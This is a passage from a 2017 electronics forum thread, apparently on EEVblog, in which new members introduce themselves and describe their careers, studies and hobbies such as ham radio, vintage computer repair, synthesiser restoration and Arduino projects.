-amateur radio activity, OH7HMS (remote station setup ongoing)
-cycling (road cycling, touring cycling)
-woodworking (lathe etc.)

-Timo K., OH7HMS
Title: Re: New Member, Please introduce yourself
Post by: atflake on January 11, 2017, 06:39:27 pm
Hello,
I stumbled across this form doing some internet research at work. My back ground has mainly been in the defense arena. I started my career as EOD tech in the US Airforce. That was my first real experience with electrical stuff ohm's law, learning how to disarm IED's, working up blasting circuits, and the occasional effort to shock my coworkers with the blasting machine  ;). During that time I earned my EET degree from DeVry. After my short stent in the military I have worked for General Dynamics building armor vehicles for 15 years and now work at Northrop Grumman. Have some experience in various areas of the industry such as electronics integration, robots, and cyber security. Enjoy working for DOD despite the fact that they take forever to get things done and they cost twice as much as the should. After 20+ years in this industry I have learned I can't fix that, but I can come to work every day and try to keep our troops safer by ensuring our designs are as current as possible and survivable in a wartime environment.

Hobbies:
Fixing stuff (just about anything)
CNC Machining
Archery
Hunting/Fishing
Electric Guitar

-atflake
Title: Re: New Member, Please introduce yourself
Post by: minifloat on January 14, 2017, 03:00:08 am
Hi there.
I have a degree in electrical engineering and computer science. For more than four years now I am working in the Electrical engineering and embedded systems field, mainly high-reliability stuff as automotive (right now I'm doing embedded software) and industrial electronics.

Reading my dad's electronics magazines when I was a kid gave me a lot of passive knowledge, tinkering with electronics gave me the feel, how electric and electronic circuits work. A lot of family members are involved and interested in engineering and technical stuff. These two points made me chosing an engineering career.

My Hobbies are... electronics (who would've guessed ;D ), event engineering (mainly sound mixing), reading books and magazines, listening to and making music, collecting electrical lab equipment, riding snowboard.

/minfloat
Title: Re: New Member, Please introduce yourself
Post by: hankapotomus on January 14, 2017, 04:34:33 pm
Hello! I'm in the US, just getting back into electronics as a hobby after many, many years. I'm in mechanical design career-wise, but it can't hurt to have at least some rudimentary electrical knowledge with that.

I came to forum by way of the EEVBlog YouTube page, which I've been enjoying for several years, now.
Title: Re: New Member, Please introduce yourself
Post by: alayn91 on January 14, 2017, 04:57:38 pm
Hello, I am Alayn91, from France, near Orly airport.
I'm now retired.
Before, I have been working for CIT-Alcatel, in their Labs and Custom IC, and after that for HP, in their T&M dept.
Now, I like to restaure et fix audio vintage boxes.



Title: Re: New Member, Please introduce yourself
Post by: Saronni on January 15, 2017, 06:13:50 am
Hi, I'm James from Australia. Dave's youtube channel and forum has rekindled my interest in electronics!
Title: Re: New Member, Please introduce yourself
Post by: Terrius on January 16, 2017, 07:39:42 pm
Hello,

Wow I feel a bit out of place here, I was introduced to EEVblog by a family member via youtube. I find Dave's videos very interesting and after a few months of binge watching decided I should join the forums!

I am an newbie electronics hobbyist, I've always enjoyed figuring out how things work and Dave's videos along with a couple other youtubers inspired me to learn more about electronics! I don't really have any fancy equipment right now but I try to make do with what I've got. At the moment I'm mostly focused on learning how to program arduinos.
Title: Re: New Member, Please introduce yourself
Post by: LiamS on January 18, 2017, 03:59:14 pm
Liam here.
I've been experimenting with electronics and programming for years. I'm in 1st year engineering at McMaster University. Currently working on an electronic musical instrument that uses electromagnets to resonate steel strings.
Title: Re: New Member, Please introduce yourself
Post by: Mattjd on January 20, 2017, 05:13:10 pm
Hello my name is Matt and I am an ECE student. I originally found Eevblog when researching the Rigol 1054z, saw the youtube video. Yeah, I initially came here for the membership discount. Not proud of it, but I have come to find a use of this forum.

Truth be told I really like mathematics more than anything. However, I do not believe that I could make the degree profitable so I am shooting for ECE. I am unsure of what I want to specialize in. I am leaning towards something with RF or signal processing, but I have a while to go to choose. For the most of my academic career I have been an atypical student. I was a real jerk off in highschool, purposely failing out of my honors classes. I paid the price when it came to college. I initially was not going to go to college. Wanted to be a tradesmen, mom talked me into at least getting an associates. Well, that turned into me getting an ASS in mathematics and wanting to be an engineer. I've worked 30 hrs plus for the majority of it. Needless to say, that caused community college to take a while. Now I am 24 years old and am only a sophmore in my engineering degree.

Most of my jobs so far have been in warehousing, distribution centers really (there is a difference). Did a few temp gigs at a Subaru warehouse, they were relocating and needed a night shift to consolidate. At a restaurant supplies distribution center I worked as a floor hand for multiple summers. I've also been a dock worker and dispatcher for a transportation company. For the most part I've been bouncing around warehouses/distribution centers depending on the season. My last job was an assistant manager position for a distribution center. I operated the software for all the data processing during the outbound operations, I have a great deal of knowledge of SAP's warehouse, inventory, and material modules. Other than those jobs I have been an on call farm hand of sorts. Really only helping when the farmer didn't feel like doing some kind of crap work.

I do have interest in computers, I have built quite a few. So I am familiar with computer components.

I was planned on working through my engineering degree. The way I set up my ASS was to get take everything but my engineering classes, and I did just that. If I worked at night at my last job (the assistant management), I would have been taking 7-12 credits a semester for 3 years. Seemed like a good idea. However, scheduling conflicts happen. The college of engineering at my university is on the smaller side. Its a good college,but its new and smaller. All labs are at night. They couldn't work with me. Now I am taking out loans for as if I lived on campus to pay for my living expenses. Dangerous, but I think of it as motivation to not fuck around.

Engineering classes I have taken so far

Introduction to Digital Systems (primary focus here was programming FPGA's with the subjects we learned)
Principles of Electrical Circuit Analysis.

Currently taking
Computer Architecture
Electronics I

Other classes taking this semester
Data Structures
Complex Analysis
Electricity and Magnetism (the one after intro)

The bright side of not having to work, and having so few classes to take. I get to double in math as I complete my ECE degree.

In conclusion I really plan on using this forum as a means to an end. Someone is paying me back about $2000 they owe me and I am setting up a home lab to become proficient in electronics. I will be using this forum to supplement my "hands on" learning.

thanks and nice to meet you all.
Title: Re: New Member, Please introduce yourself
Post by: PMOS on January 22, 2017, 01:51:24 am
I'm PMOS.

I'm an embedded developer with a computer science & Physics background.

I know high-level digital design, and know very low-level "how does a transistor work" sorts of things, but not as much in between as I'd like, and am hoping to rectify that.

Title: Re: New Member, Please introduce yourself
Post by: turfyman on January 25, 2017, 08:55:26 pm
Hi,

I'm Tom. A young computer engineer with a passion for electronics and software. I like spending my nights and weekends writing code and building things.
Title: Re: New Member, Please introduce yourself
Post by: switchedmodepsu on January 25, 2017, 11:48:25 pm
Hello,

I am an (almost) 42 year old electron - I've done quite a bit of bouncing around in my life, and I am still bouncing... and tonight I decided to bounce around here for a while, before shooting back down some copper and into a few diodes.
Title: Re: New Member, Please introduce yourself
Post by: mitchty on January 29, 2017, 02:36:08 am
Hi all, Mitch, I'm a programmer from the midwest in the USA. Found out about all this jazz by watching Dave's video of a the apple wall wart adapter, decided it was time to get back into the more hardware side of stuff as it seemed fun.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: Housedad on January 29, 2017, 11:39:54 am
58 yo retired.  Been out of electronics mostly for 30 years or so.  Decided to brush up on it since I have designed and built a industrial control for a milling machine and needed to verify the operation.    So, of course I've decided to go whole hog.  Bought a couple of scopes, meter, PSU's, and generators and a bunch of spaghetti and connectors for it all.    Bough a arduino start kit for fun and somewhere to get back.   I Just read up on some of the latest in FPGA's.   Wow.  They have come a long way.   They were basically in their infancy when I stopped working with electronics.   A Brave New World...
Title: Re: New Member, Please introduce yourself
Post by: 5n44p on January 31, 2017, 10:35:08 pm
Hello everyone,
i'm Valerio, currently i'm a student in electronics engineering (1st year) in Politecnico di Milano, in Italy
Title: Re: New Member, Please introduce yourself
Post by: jamie297 on February 01, 2017, 07:19:08 am
Hi All,
Working in industrial elec. maintenance by day - studying for electronic systems engineering degree by night - dismantling gadgets in between!  :box:
Interested in pretty much everything on the spectrum between computer science and power electrics!
Long time lurker on the forums
Title: Re: New Member, Please introduce yourself
Post by: Falney on February 05, 2017, 08:48:54 am
Hola.

I am Ken from the UK and I have one of those cut and paste childhoods I am pretty sure 90%+ of the people here have had, taking things apart to see how they work much to the frustrations of their parents.
Though I am now only really starting EE as a hobby 25 years later. No idea why it took so long. Professionally though I am an out of work software engineer with C and C++ under my belt. (Not much of that work around these parts) 

I am jumping into the deep end though. I have looked at a lot of the "Beginners projects" and thought that "Making an LED blink is a bit lame" So I have done a tonne of research and ordered a metric tonne of parts and once everything is here I will be building from scratch my first power supply, soldering and rework stations.

Well. If you don't hear from me in 3 months time you will know I blew something up, most likely me.

Now I just need to find El-cheapo oscilloscope.

Ken
Title: Re: New Member, Please introduce yourself
Post by: Sarah1390 on February 07, 2017, 01:37:25 am
Hey everybody.

I am just a person who just loves to fix stuff or learn how it works. Just recently I worked up the courage to start building my own electronics from eBay kits and now learning how to do it from scratch. Only thing left to do is stop being so fearful of the magic blue smoke especially from mains powered projects.
Title: Re: New Member, Please introduce yourself
Post by: Ed.Kloonk on February 07, 2017, 03:25:40 am
Hey everybody.

I am just a person who just loves to fix stuff or learn how it works. Just recently I worked up the courage to start building my own electronics from eBay kits and now learning how to do it from scratch. Only thing left to do is stop being so fearful of the magic blue smoke especially from mains powered projects.

Someday, you will understand disappointment when magic smoke doesn't appear.  |O
Title: Re: New Member, Please introduce yourself
Post by: Nitrus on February 07, 2017, 12:24:30 pm
Hello!
I've been a web developer for a number of years now, however I've tinkered with electronics since I was a child.
I wouldn't call myself an expert by any means, but I've built my fair share of circuits so far, and I'm always looking to expand that knowledge.
I'd love to be doing more EE as I find it both enjoyable and relaxing, even when it doesn't work :)

I've etched my own boards for a while, still doing that mostly since most of my projects are personal or prototypes, but I've had some made professionaly as well.
I'm not quite a beginner, I like to tinker with RF, IoT, Web controlled devices, AVRs lately etc., that being said however I'd probably lurk in there for a while until I find my place on the forum, you guys can be quite unforgiving sometimes! (with just cause, surely:) )

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: MB 32 on February 07, 2017, 09:04:16 pm
Hi,

I'm french so sorry for my poor English. I'm a true beginner, never learned beyond I'm 16 old (and then I'm 63); I tried to be an OM, but the frequencies and all this stuff were too much and I gave up.

I had a hobby in the 80' with some com programs with MSDOS, adressing directly the 8250 and the clock, and now as I'm older and older, I try to understand why with PC AT3 and an IRQ routine that took no more than 20 cycles, I got several events up with no event down between.

I bought a Siglent 1102X-S, do you think it could help me to see what happens when a button is switched on/off when connected to the RS232 of a AT3 ?

Could you help me to see these waves on the Siglent, give me some help ?

Accessory, this Siglent should be able to decode the serial signal, or even the USB or the HDMI. I don't understand how to connect a probe to it, I guess it is necessary to have special probes, I would appreciate any help too.

Many thanks, and very friendly to all,

Milos
Title: Re: New Member, Please introduce yourself
Post by: Caio Negri on February 09, 2017, 05:17:30 pm
Hi all

My name is Caio Negri, I'm a 27 year old Electrial Engineer from Brazil. At university I worked with Robotics and Automation but recently I've started delving into Electronic Design and Embedded Systems. In late 2016 I designed a low cost level sensor for waste bins using the HC-SR04 ultrassonic module and an ESP8266 SoC. I presented a working prototype to one of the major recycling companies and got their interest, since then I've been working on installing sensors around the city and building the monitoring system to help minimize their cost with logistics (Turns out 70% of their expenses is purely transport).

To be honest I've never felt more excited and motivated as I do now, I have more projects on the way and I hope to share those here and get feedback from the amazing pool of engineers, technicians and hobbyists on this forum. I also look forward to helping people getting into electronics with any knowledge I can share.

Cheers!
Caio
Title: Re: New Member, Please introduce yourself
Post by: 0HAO on February 09, 2017, 05:29:11 pm
Hi,
I'm Chris from Colorado. I'm a newly licensed Ham radio operator and that began an interested in general electronics. I'm working on setting up a small lab and getting some test equipment. I've taken a class years ago on basic electronics and have some experience with through hole soldering projects, but I'm really interested in RF and radio troubleshooting and repair. I bought the book: How to Diagnose and Fix Everything Electronic, from Amazon, I'm going through that as well as the information for the General Ham license manual.

Thanks,
Title: Re: New Member, Please introduce yourself
Post by: Rypht on February 14, 2017, 10:57:57 am
Hey everyone,

I'm trying to expand my understanding of electronics.  Mostly my experience has been through the realm of a several decades of computer hardware exposure, but honestly it's always felt like I was handling magic when working inside a computer case.  I knew what the assembled board's functions where, but beyond that?  Secrets of the universe, man.   

This is going to be on a hobby level, but you never know, it might lead somewhere one day.  Right now, I'm still very much in the reading and watching lots of videos stage, but hope to get into the fun stuff soon.
Title: Re: New Member, Please introduce yourself
Post by: 3_bit on February 15, 2017, 03:24:27 pm
Hello from Michigan Tech! 1st year Computer Engineering student and complete retrocomputing nerd here.

Repairing 1970s and 1960s discrete logic processors is my definition of fun... mostly so when schematics are present. Who needs a logic analyzer when you have vintage HP logic probes?
Title: Re: New Member, Please introduce yourself
Post by: retrolefty on February 16, 2017, 01:39:15 am
Hello from Michigan Tech! 1st year Computer Engineering student and complete retrocomputing nerd here.

Repairing 1970s and 1960s discrete logic processors is my definition of fun... mostly so when schematics are present. Who needs a logic analyzer when you have vintage HP logic probes?

 I worked as a field service eng during the 70s. There was a real hot market for the "mini-computers" of the day from DEC, Data General, HP, Varian, etc, etc, etc. They were most all TTL logic designs. It was amazing to see how different companies implemented their design features and cost competitiveness. Now the chip companies do the designing.

Title: Re: New Member, Please introduce yourself
Post by: Broonale on February 16, 2017, 04:36:58 am
Long time listener, first time caller!

I'm a hobbyist into restoring vintage computers and video games.

Glad to be here!

Blake
Title: Re: New Member, Please introduce yourself
Post by: variance on February 16, 2017, 06:11:21 am
Former lurker. Work in BI/ETL. Have always been fascinated by hardware hacking.

My first "hack" of sorts was when I was 13 and added a capacitor + switch to overclock/turbo my TI-85. Had 2 classmates willing to pay me $40 each to do the same to their calculator.. I messed up on the third one I did when I slipped and melted my friend's display cable.. ended up having
to give him my TI-85... ended up upgrading to a TI-89 where I opted not to to OC it. I had lost my confidence in soldering without messing things up.

My current projects are:

1. using a bus pirate/open workbench logic sniffer to grab the ATA password of my karaoke machine's hard drive as the SMART status shows the drive isn't healthy and I'd like to backup $200+ worth of karaoke song updates I've paid for to another drive.

2. Modding a GT 640 and after that a 690 X2 into Tesla or Grid K1 cards via the thread here.

3. Unbricking a HP 221 SAS controller. (Messed up during a flash)
Title: Re: New Member, Please introduce yourself
Post by: MrBungle on February 16, 2017, 09:09:33 am
Like the two above, long-time lurker (~6 years).

My name is Simon, I'm in Perth WA, been tinkering with electronics since I was about 5 or 6, so ~35 years now, and my story rather scarily echo's Daves 'When I was a Boy' video (linked below)... even the same kits, same  gear, same magazines... not really that surprising I guess considering I'm also an Aussie and we are of similar age.
When I hit my teens though I kinda lost interest in electronics for a while  ;D
I still tinkered but it was rare, too many distractions.

Currently working in the Oil&Gas industry doing Terminal Arrangement drawings etc etc, installation of Pressure/Level Transmitters, solenoid valves, cables (All explosive atmosphere stuff) and it's all pretty boring stuff really, but it pays the bills.

My current passion is lasers and holography.

https://www.youtube.com/watch?v=XpayYlJdbJk (https://www.youtube.com/watch?v=XpayYlJdbJk)
Title: Re: New Member, Please introduce yourself
Post by: testian on February 16, 2017, 03:11:42 pm
Hi,

although i am not really new I will introduce myselfe. I started reeding the board a few years ago. I am from Germany and an state certificated technician.
Title: Re: New Member, Please introduce yourself
Post by: palindrom71 on February 17, 2017, 08:41:16 pm
Hello everyone! My name is Marcin and I'm from Poland. Electronics was always my hobby, which turned out to be very helpful during my studies (I'm a physicist), work at Nokia, Bell Labs and now Nokia again ;) The best investment of my free time ever! ;) Optics, photonics, now RF.
Since I watched most of Dave's videos and read some of Forum, time has come to register finally. See you around!
Title: Re: New Member, Please introduce yourself
Post by: ratio on February 17, 2017, 10:31:46 pm
Hey, off 'n on lurker here. Finally got a project that I intend to see to completion, so I need to educate myself. Former electrician, now commercial HVAC tech, always had an interest in electronics & computers (Had to put the VAX 6320 from the basement out to pasture, but she went to a loving home!) but now I want to understand a little better/deeper.
Title: Re: New Member, Please introduce yourself
Post by: reinardvanloo on February 18, 2017, 10:13:53 am
Hi All,

Finally got around to registering myself after having followed the EEVblog for the last 2 years. Great suff Dave, keep going!

My name is Reinard van Loo, If live in Vienna, Austria and my current hobby interest is repairing synthesisers, the pro-gear stuff. I buy broken ones for spares or repair, do them up; and sell them again. With the "profit" I buy other synths for myself or test and repair gear (still looking for a decently priced 34401a located in Europe). Daytime job is with an Austrian company providing (primarily SW) solutions for air traffic management and public safety control rooms.

BUT: If you live in Vienna area AND have some broken synths or MIDI synth modules lying around... please let me know, will be glad to help you get rid of it  ;)


Title: Re: New Member, Please introduce yourself
Post by: JerryRigged on February 18, 2017, 01:03:13 pm
Another new forum member here from Florida, USA. Been doing shall electronics projects on the side for years and just never registered before.
Title: New Member, Please introduce yourself
Post by: kgharibyan on February 18, 2017, 01:21:42 pm
Hi to all, my name is Karen (male in Armenia), I'm from Armenia, my hobbies are RC helicopters and HAM Radio, my callsign is EK7PP


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Title: Re: New Member, Please introduce yourself
Post by: bugi on February 21, 2017, 07:45:29 pm
Another eevblog & other forums observer for several years, and even longer term electronics hobbyist (with a bit of side-steps in the mechanical direction). Studied EE / programming, but working as a programmer (high level stuff, no electronics in sight).

Finally I have acquired both the necessary space and some new tools to start going forward faster and to more advanced stuff. Just need some more tools/devices, and as usual, some more money (working on that) and lots of free time (I am pretty sure free time goes by much faster than any other time, even if scientists claim otherwise).

I tend to have troubles to finish projects if they are not well planned beforehand, and a (large) bit of perfectionism, so as I have learned to know myself on those "issues", I have started to more or less overdo the planning, design, engineering phase of all non-trivial projects. Which means I tend to read a lot of datasheets, application notes and literature, and check for plenty of options, backup choices and backup plans. Basically anything and everything that helps me finish the actual do it -phase as easily as possible and with the least chances of showstoppers along the way.

Some of the projects are rather ambitious, but (most) should be still doable even for a hobbyist like me. Should be. Time willmay tell. And sometimes the "could/can I actually do this?" is more interesting than the actual end result. At least one learns a lot just from all the reading beforehand. (:bookworm smiley:)

All that has lead to my current status of having about 20 projects in various shapes in the planning stage, about 30 in a "just an idea" stage, and only a couple finished projects, a full cabinet (and few big boxes) of accumulated items and components for the projects... and the big desire to start getting stuff done (and thus getting some of that project storage compressed into the smaller and hopefully useful, or at least usable, end results).
Title: Re: New Member, Please introduce yourself
Post by: golub2017 on February 21, 2017, 07:51:33 pm
Hi I am Golub, and came from Serbia, electronics is my hobby

Glad to be part of this community
Title: Re: New Member, Please introduce yourself
Post by: moz on February 23, 2017, 11:58:05 pm
I'm Moz, qualified as an EE but like so many others, working as a programmer. In the same room as hardware guys, but my job is just typing. I play with primitive electronics on and off, making a project then using it until it breaks. Like taking the RS232 from the PV on our roof and pushing it to a display in the kitchen... all very "buy the Lego blocks and wire them together" level. Rarely do I actually design boards - so far my most popular ones was a temperature/humidity datalogger that shortly after I got the boards delivered I found someone in China selling on eBay. I got a few hundred downloads of updated firmware from my website before I took it down. You can now get those for ~$20 but at the time they were $150 and I could get the parts for ~$20 so... yeah, I'm cheap.

Currently in the early stages of building a wee circuit to display power in a basic 100W PV+battery setup in my shed, because none of the ones I can buy have any logging capability. So I will see if I can make an Arduino measure the things and display them, while writing them to a uSD card. Ideally without a custom board, just bodging it all into a proto board.

Joined up here after starting to follow Dave, AvE and BigClive on YouTube and deciding I have Things To Say about the videos :)
Title: Re: New Member, Please introduce yourself
Post by: JenniferG on February 25, 2017, 12:00:34 am
Just found this thread.  Used to having introductions area under a sub-forum vs. thread.  Didn't know it existed until now.

My name is Jennifer. I am a newb. Got help from the other thread (thanks).. going to go through the Art of Electronics pair of books and try and learn something.
Title: Re: New Member, Please introduce yourself
Post by: W2NAP on February 25, 2017, 12:41:54 am
Well I am new to the forums.

Just a guy in Indiana, who drives a tow truck and plays with radios... and other stuff
Title: Re: New Member, Please introduce yourself
Post by: juretrn on February 27, 2017, 11:06:12 am
Hello good people of the EEVBlog community!
I'm an EE Student from Slovenia, and I've been watching the Dave's Youtube channel for a while, but only now I decided to join the forum. I'm just a few months away from finishing my master's thesis and then finally on to the "real world".
Cheers!
Title: Re: New Member, Please introduce yourself
Post by: VE7FIM on February 28, 2017, 04:55:17 am
Been here for a little while, but never too late to make introductions.

I'm David, a Ham radio operator and electronics hobbyist from Canada. Been tinkering with electronics since the early 90's, and while my work doesn't leave me with much time for side projects, it does let me do a little bit of electronics work "on the clock", as they'd say.

I'm currently learning how to program FPGAs, and learning about Software-Defined Radio (SDR) technology.

VE7FIM
Title: Re: New Member, Please introduce yourself
Post by: Jono427 on March 01, 2017, 12:51:43 am
Hello from the USA!  Been messing with electronics for a while and lurking on eevblog/forums for a long time.  Finally getting around to actually building a good workspace, still in the planning phase.
Title: Re: New Member, Please introduce yourself
Post by: nimda-eev on March 01, 2017, 11:28:12 am
Hi there! I am Adrian from the Netherlands and an absolute beginner when it comes to knowledge and experience in electronics. I own some basic gear and a few arduino boards and just started experimenting with them. and it gives my a very nice experience, linking (basic) electronic theory with (small) real-life experiments in electronics and programming.. A lot to learn, just being a basic biochemst..

I really love Dave's enthousiatic dedication for the matter. Not his, but all the contributors on this forum and 'colleagues' on youtube.
Title: Re: New Member, Please introduce yourself
Post by: Chig on March 03, 2017, 04:51:33 am
Errr, hi? :)

Long time lurker... Decided it was time to be a bit more active here.

Been playing with electronics since i was a kid, started out with the Dick Smith kits, and never really looked back. These days i work as both an IT Systems Admin/Network Admin as well as communications system designer/engineer. I'm not uni qualified engineer (though i do have a selectoin of TAFE and industry qualifications) - just a job title which i'm not a big fan of, to be honest. More than a technician, though i do also have to do a lot of hands-on work as i'm employed for a relatively small company, so getting dirty is a bit of a requirement.

I work with copper, fibre and RF networks, pretty much of all types - Analogue/DSL, Ethernet, GPON, CATV, Large scale Wi-Fi, LTE, Microwave, etc etc. Mostly work on private networks and big business systems in remote areas (combination of City based and in the most remote areas of Australia). Partly due to my previous experience, and partly due to physical requirements (working as remote as i sometimes do) i have to know both the RF/physical side of systems as well as the software side, so being a "dual trade" for want of a better term, of both IT and Comms is a good fit. Jack of all trades, master of none, as they say. Handy to have a variety of skills when your nearest 'help' is over 1000Km away, if you even have phone or internet coverage ;)

Also a Ham radio operator, have been involved since i was a kid through my father, slowly studying for my advanced license... I could probably pass a test now if i went for it, but would rather be 100% confident walking into the test, and i'm not in a real hurry, i get a fair chunk of the spectrum and reasonable power output levels as it is as a 'standard' call. Wouldn't mind having access to more of the microwave frequencies, and bigger power for VHF/UHF DX work (where 6dB makes all the difference), however.

Wouldn't mind moving more into the comms side of the business, but the company i work for is an IT business first, Comms second. I've been slowly growing that side of the company where i can, but being only a small company, it's customer demand driven, rather than going out and actively pursuing the market.  Something more technical - and less IT - would be preferable, so we'll see how it goes in the coming years.

At home i like tinkering around with my radio gear, antennas, arduino gear and starting to get into home automation stuff too - next home i buy/build i hope to be able to do all the 'smarts' for it myself, particularly in terms of climate control, lights, power usage monitoring, etc. Most of what i'm learning on that side of things is working towards that goal. Oh, i also grow fish and vegetables in a closed loop (aquaponics) in my back yard too. That's tonights dinner ;)
Title: Re: New Member, Please introduce yourself
Post by: razecus on March 03, 2017, 07:56:50 am
Hi guys, I am just a guy who like to poke around with electronic components and electronic stuff around, i had started as a kid, but did not became my profession, but anyway i still love to build and repair stuff ( if i can ) . Lately i started to build valve amplifiers, from stuff i can get around, and try to sell them for charity.

Hey Dave i love your video, and admire your work you do, it is very educative thank you for all your effort!
Title: Re: New Member, Please introduce yourself
Post by: ZomBiE80 on March 03, 2017, 02:11:40 pm
Hello.
I'm Pete from Finland and i've been an electrics/electronics hobbyist for about twenty years now. I've studied electronics at trade school.
I have lots of experience in repairing and hacking stuff.
Title: Re: New Member, Please introduce yourself
Post by: ohdsp on March 04, 2017, 12:29:12 am
Hi all,

Registered a while ago but not posted... I am an Electronics Engineer and a hobbyist. Love the EEVBlog videos; many interesting topics and useful things that can be learned. Only 31 but been play with electronics since I was 8 when I got my first electronics kit. Love playing with, or fixing, audio based electronics, along with too many other hobbies!

Paul
Title: Re: New Member, Please introduce yourself
Post by: pocketDrop on March 04, 2017, 07:08:29 am
Christian here. Recently got interested in doing some custom wiring in my car, so happened upon this forum! Hoping gain some knowledge and advice from its members. I have some small electrical background from highschool.. (does that count?) And was an IT internship at one point. Excited to be a part of the group!

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Title: Re: New Member, Please introduce yourself
Post by: coyote20000 on March 05, 2017, 06:43:57 pm
Dave from California,
Field engineer by trade but dabble in anything and everything as a hobby.
Title: Re: New Member, Please introduce yourself
Post by: Distro on March 06, 2017, 12:23:11 am
I've watched many of Dave's videos and decided to finally make my way over to the forum. Originally, I signed up with a specific question in mind and was going to post, but searched and found my answer instead. So I decided to introduce myself anyway. I like tinkering/hacking/fixing/breaking things and look forward to joining this community.
Title: Re: New Member, Please introduce yourself
Post by: mwalker on March 06, 2017, 05:32:06 am
Hi, Matthew here. Worked in and studied electronics many years ago then got diverted into programming. Recently got interested in microcontrollers and fiddling around with electronics again.
Title: Re: New Member, Please introduce yourself
Post by: yuzuha on March 06, 2017, 06:46:08 am
Hi, I'm Pamela or just Pam.   
I'm a partially disabled retiree that used to program IBM mainframes. 

I dabbled in electronics in the 80s and built a shortwave radio kit.  Then my eyes went and I couldn't see much of anything but huge type on a computer screen and wound up without a job

Finally hit 65 (medicare) and got cataract surgery and can see better than I ever could before so I rummaged through the boxes in the closet and dug out my old copy of Joseph J Carr's "Mastering Radio Frequency Circuits" and Hakko 936.   Alas, I seem to spend most of my time watching EEVBLOG and Mr Carlson's Lab  :palm:
Title: Re: New Member, Please introduce yourself
Post by: E Schnieder on March 06, 2017, 10:32:21 am
Hey everyone!
I'm Eike, 16 years old and from the small town of Hude in Germany. Tinkering with electronics is my hobby, and next to school I'm a voluntary firefighter at our local fire department.
Title: Re: New Member, Please introduce yourself
Post by: KNSSoftware on March 07, 2017, 12:32:17 am
I'm John

Been programming for 20 years, but decided i miss having something physical at the end of my creativity.  Not done EE since school, but getting setup for a midlife crisis hobby.
Title: Re: New Member, Please introduce yourself
Post by: jericho.ar on March 09, 2017, 02:27:38 am
Jericho here!

I am changing careers and starting EE studies at the university. Have played a dual role as an analyst and repairing all kinds of guitar, mainly bass, gear from pre-amps to bass cabs and heads. Love all things electronic.
Title: Re: New Member, Please introduce yourself
Post by: suenrod on March 10, 2017, 12:34:12 am
Hello to all.

My name is Rod, I'm new to the group and Dave's videos in general. I have been trying to watch a few vids a day and scan the forum.
I have been an RF technician since the early 80's but have been disabled since 2003 and not doing much repair since then so I'm pretty rusty.

I started learning electronics in jr. high school and joined the USAF as a 304X4 (AFSC) Ground Radio Communications Specialist. I worked on the voice/data communication system for the Titan II missile system. High power VHF & UHF multiplexed transmitters, associated receivers, decoders and control systems.

I'm an amateur radio (advanced class) operator (KD0XX) and General Radio License holder (PG-6-29404) My original novice call was WD4DPD but I upgraded to advanced while I was in the USAF and stationed in Wichita, Kansas and never saw the need to upgrade to extra class.
My primary interest is weak signal operations.


I guess that's enough of an intro.
Glad to be here and hope to contribute as the need arises.

Rod
Title: Re: New Member, Please introduce yourself
Post by: Gostek on March 16, 2017, 07:48:10 pm
Hi guys,

Przemek here, born in Poland living in UK for the last 13 years.
Working as EE in acoustics and automatic test equipment. Design microphones, amplifiers, embedded systems.
Got two patents in acoustics.

All for now :)
Title: Re: New Member, Please introduce yourself
Post by: Dumont on March 17, 2017, 03:01:24 pm
Hello, I'm Dumont.  Been an EEVBlog video watcher for years, just recently decided to start following the forums as my hobbyist involvement in electronics has increased again recently.

I have been a professional embedded software developer for almost 20 years now. Currently working for Digi International, makers of the XBee radio,  and have done things all over the map, but generally specialized in machine to machine communication (Serial, RF, Cellular, etc).

On the home-front I have dug into retro gaming machines to some detail. (I can claim the discovery of an obscure cycle timing errata on the GI CP1610 processor used in the Mattel Intellivision. :-) ).

I'll likely end up mainly lurking, as that tends to be my pattern, but will jump in when and where I can as the occasion arises.
Title: Re: New Member, Please introduce yourself
Post by: AF6LJ on March 17, 2017, 07:22:32 pm
Welcome...
 :-+ :-+
Title: Re: New Member, Please introduce yourself
Post by: takahidehimself on March 17, 2017, 08:17:35 pm
Hey guys,

I registered back in 2014 but have only been lurking ever since... Figured I should finally introduce myself.

My dad ran his own electronics repair shop for almost as long as I'm old so I was exposed to electronics at young age, and of course got hooked quite badly.

Fast forward to present time and I work as a test engineer for a rather large company where some of my job resonsibilities involve researching, setting up and maintaining test equipment and systems in the fields of electronics, electro-acoustics and RF. They say you're never more than 3 meters (~10 feet) away from one or more of our products.

Much to my wife's dismay I suffer from GAS, but as long as the gear I bring home ends up in my man cave she doesn't complain too loudly as the kids love the stuff.


ET
Title: Re: New Member, Please introduce yourself
Post by: NA5WH on March 19, 2017, 05:12:48 am
Ah was looking for this thread.. finalyl found it.

Anyhow.. hello, William from Miami.   
Been watching EEVBlog videos for a very long time.  I know I haven't watched since the original 1052E video, but it probably was sometime in that first year (I've been on youtube making videos myself since 2007, and no you don't want to see them, they have nothing to do with electronics (well unless you count electronic music).  No idea why I haven't bothered joining the forum until now... just felt right after seeing a deal via another youtuber, via twitter, back to here.... small world things...

Been into electronics since as long as I can remember. Father is an EE, and was in the whole computer thing when it was room-sized things.  I was more or less expected to learn about computers, "as it was the future" he used to say... and .. yeah.. it was... 

Obviously that drifted into ham radio as a way to utilize that hobby etc. 

Although I guess more strongly motorcycling has been the main time pull. But then I moved to Miami.   Oh, I hear it now "but its 70F-80F (21C-26C) year round, why don't you ride more!?"  Well I have more than 3000 miles below freezing riding under my belt, so temperature doesnt matter to me. Its this whole 5000people/square-mile thing, combined with the ... I'm not sure if these people even understand traffic laws aspect. (Miami has many 1st-2nd generation americans, a lot of people from NY/NJ, people with more money than care, and retired people.... doesnt bode well for the traffic laws here...  turn signals are a sign of weaknesss... I just dont trust them at all with my life).

Anyhow, thats led back to electronics to occupy my mind...  and so here I am.

Work primarily in radiation safety (ionizing primarily, but lesser in RF and laser), with general responsibility for safety over-all for approximately 1200 associates for a medical device manufacturer. 

Have a great day!
Title: Re: New Member, Please introduce yourself
Post by: t_ryner on March 23, 2017, 12:55:03 am
Hello!
 My name is Tommy Ryner, And I am currently a sophomore in high school. I have had an interest in electronics for a while, and have been watching many YouTube videos on the topic, as well as reading some books. I have been watching Dave's videos for about two years now, and have decided to make an account on the blog.(I'm glad I did!) I love to save electronics from the curb, such as TVs, Amplifiers, etc. I will either repair it and use it myself, or, in the case of a TV, I will de-solder the components. This has helped me understand electronics better, as well as collect a good number of components. I also buy stuff from goodwill to use. Other interests: bike riding, weather, and environmental sciences. Since I do not have a proper computer (This is my school owned chromebook) I can not really model or even program arduino. :( Location: northern Illinois.
Title: Re: New Member, Please introduce yourself
